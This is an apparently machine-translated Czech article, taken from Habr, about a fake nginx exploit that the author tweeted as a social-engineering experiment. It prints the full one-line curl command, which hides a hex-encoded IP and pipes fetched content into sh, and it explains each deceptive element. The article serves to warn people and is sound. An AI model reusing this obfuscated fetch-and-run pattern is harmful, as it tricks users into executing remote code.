Úspěch sociálního experimentu s falešným exploitem pro nginx

Poznámka. přel.: Autor původní poznámka, zveřejněná 1. června, se rozhodla provést experiment mezi zájemci o informační bezpečnost. Za tímto účelem připravil falešný exploit na nezveřejněnou zranitelnost webového serveru a zveřejnil jej na svém Twitteru. Jeho předpoklady - být okamžitě odhalen specialisty, kteří by viděli zjevný podvod v kódu - se nejen nenaplnily... Překonaly všechna očekávání a v opačném směru: tweet získal obrovskou podporu od mnoha lidí, kteří to neudělali. zkontrolujte jeho obsah.

TL;DR: Za žádných okolností nepoužívejte zřetězení souborů v sh nebo bash. Je to skvělý způsob, jak ztratit kontrolu nad svým počítačem.

Chci se s vámi podělit o krátký příběh o comicsovém PoC exploitu, který byl vytvořen 31. května. Objevil se okamžitě v reakci na zprávy z Alisa Esage Ševčenko, člen Iniciativa nulového dne (ZDI), že informace o zranitelnosti v NGINX vedoucí k RCE (vzdálené spuštění kódu) budou brzy zveřejněny. Vzhledem k tomu, že NGINX pohání mnoho webových stránek, musela to být bomba. Ale kvůli zpožděním v procesu „zodpovědného zveřejnění“ nebyly známy podrobnosti o tom, co se stalo – jde o standardní postup ZDI.

tweet o odhalení zranitelnosti v NGINX

Poté, co jsem dokončil práci na nové technice zmatku, citoval jsem původní tweet a „unikl funkční PoC“ sestávající z jediného řádku kódu, který údajně využívá objevenou zranitelnost. Samozřejmě to byl úplný nesmysl. Předpokládal jsem, že budu okamžitě odhalen a že v nejlepším případě dostanu pár retweetů (no dobře).

tweet s falešným exploitem

Nedokázal jsem si však představit, co se dělo dál. Popularita mého tweetu raketově vzrostla. Překvapivě si v tuto chvíli (15:00 moskevského času 1. června) jen málo lidí uvědomilo, že jde o padělek. Mnoho lidí to retweetuje, aniž by to vůbec zkontrolovali (natož aby obdivovali nádhernou grafiku ASCII, kterou vydává).

Jen se podívejte, jak je to krásné!

I když jsou všechny tyto smyčky a barvy skvělé, je jasné, že lidé museli na svém počítači spustit kód, aby je viděli. Naštěstí prohlížeče fungují stejným způsobem a v kombinaci se skutečností, že jsem se ve skutečnosti nechtěl dostat do právních problémů, kód pohřbený na mém webu pouze vytvářel echo volání bez pokusu o instalaci nebo spuštění jakéhokoli dalšího kódu.

Malá odbočka: netspooky, DNZ, já a ostatní kluci z týmu Thugcrowd Už nějakou dobu si hrajeme s různými způsoby, jak zatemnit příkazy curl, protože je to cool... a my jsme geekové. netspooky a dnz objevili několik nových metod, které se mi zdály mimořádně slibné. Připojil jsem se k zábavě a zkusil přidat do pytle triků převod IP desítkové soustavy. Ukazuje se, že IP lze také převést do hexadecimálního formátu. Navíc curl a většina ostatních nástrojů NIX vesele jedí hexadecimální adresy IP! Takže šlo jen o to vytvořit přesvědčivý a bezpečně vypadající příkazový řádek. Nakonec jsem se rozhodl pro toto:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Socio-elektronické inženýrství (SEE) – více než jen phishing

Bezpečnost a znalost byly hlavní součástí tohoto experimentu. Myslím, že právě ony vedly k jeho úspěchu. Příkazový řádek jasně naznačoval zabezpečení odkazem na "127.0.0.1" (známý localhost). Localhost je považován za bezpečný a data na něm nikdy neopustí váš počítač.

Známost byla druhou klíčovou SEE složkou experimentu. Vzhledem k tomu, že cílová skupina se primárně skládala z lidí obeznámených se základy počítačové bezpečnosti, bylo důležité vytvořit kód tak, aby se jeho části zdály známé a známé (a tedy bezpečné). Vypůjčení prvků starých exploit konceptů a jejich neobvyklé kombinování se ukázalo jako velmi úspěšné.

Níže je uvedena podrobná analýza jednovrstvé vložky. Všechno na tomto seznamu se nosí kosmetické povahy, a k jeho skutečnému provozu není potřeba prakticky nic.

Jaké komponenty jsou skutečně nutné? Tento -gsS, -O 0x0238f06a, |sh a samotný webový server. Webový server neobsahoval žádné škodlivé instrukce, ale pouze obsluhoval ASCII grafiku pomocí příkazů echo ve skriptu obsaženém v index.html. Když uživatel zadal řádek s |sh uprostřed, index.html načten a proveden. Správci webového serveru naštěstí neměli žádné zlé úmysly.

• ../../../%00 — představuje překročení adresáře;
• ngx_stream_module.so — cesta k náhodnému modulu NGINX;
• /bin/sh%00<'protocol:TCP' - prý spouštíme /bin/sh na cílovém počítači a přesměrovat výstup na TCP kanál;
• -O 0x0238f06a#PLToffset - tajná přísada, doplněná #PLToffset, vypadat jako paměťový offset nějak obsažený v PLT;
• |sh; - další důležitý fragment. Potřebovali jsme přesměrovat výstup na sh/bash, abychom mohli spustit kód přicházející z útočícího webového serveru umístěného na adrese 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - figurína, na kterou odkazuje netcat /dev/tcp/localhostaby vše opět vypadalo bezpečně. Ve skutečnosti nedělá nic a je zařazen do řady pro krásu.

Tím končí dekódování jednořádkového skriptu a diskuse o aspektech „socio-elektronického inženýrství“ (složitý phishing).

Konfigurace webového serveru a protiopatření

Vzhledem k tomu, že drtivá většina mých odběratelů jsou infosec/hackeři, rozhodl jsem se udělat webový server trochu odolnější vůči projevům „zájmu“ z jejich strany, jen aby měli kluci co dělat (a byla sranda založit). Nebudu zde vypisovat všechna úskalí, protože experiment stále probíhá, ale zde je několik věcí, které server dělá:

• Aktivně sleduje pokusy o distribuci na určitých sociálních sítích a nahrazuje různé náhledové miniatury, aby uživatele povzbudil ke kliknutí na odkaz.
• Přesměruje Chrome/Mozilla/Safari/atd na propagační video Thugcrowd namísto zobrazení skriptu shellu.
• Sleduje zjevné známky vniknutí/do očí bijícího hackování a poté začne přesměrovávat požadavky na servery NSA (ha!).
• Nainstaluje trojského koně a také rootkit BIOS na všechny počítače, jejichž uživatelé navštíví hostitele z běžného prohlížeče (jen si dělám srandu!).

Malá část antimerů

V tomto případě bylo mým jediným cílem zvládnout některé funkce Apache - zejména skvělá pravidla pro přesměrování požadavků - a řekl jsem si: proč ne?

NGINX Exploit (skutečné!)

Přihlásit se k odběru @alisaesage na Twitteru a sledujte skvělou práci ZDI při řešení velmi reálných zranitelností a využití příležitostí v NGINX. Jejich práce mě vždy fascinovala a jsem Alici vděčný za trpělivost se všemi zmínkami a upozorněními, které můj hloupý tweet způsobil. Naštěstí to také přineslo něco dobrého: pomohlo to zvýšit povědomí o zranitelnostech NGINX a také o problémech způsobených zneužitím curl.

Zdroj: www.habr.com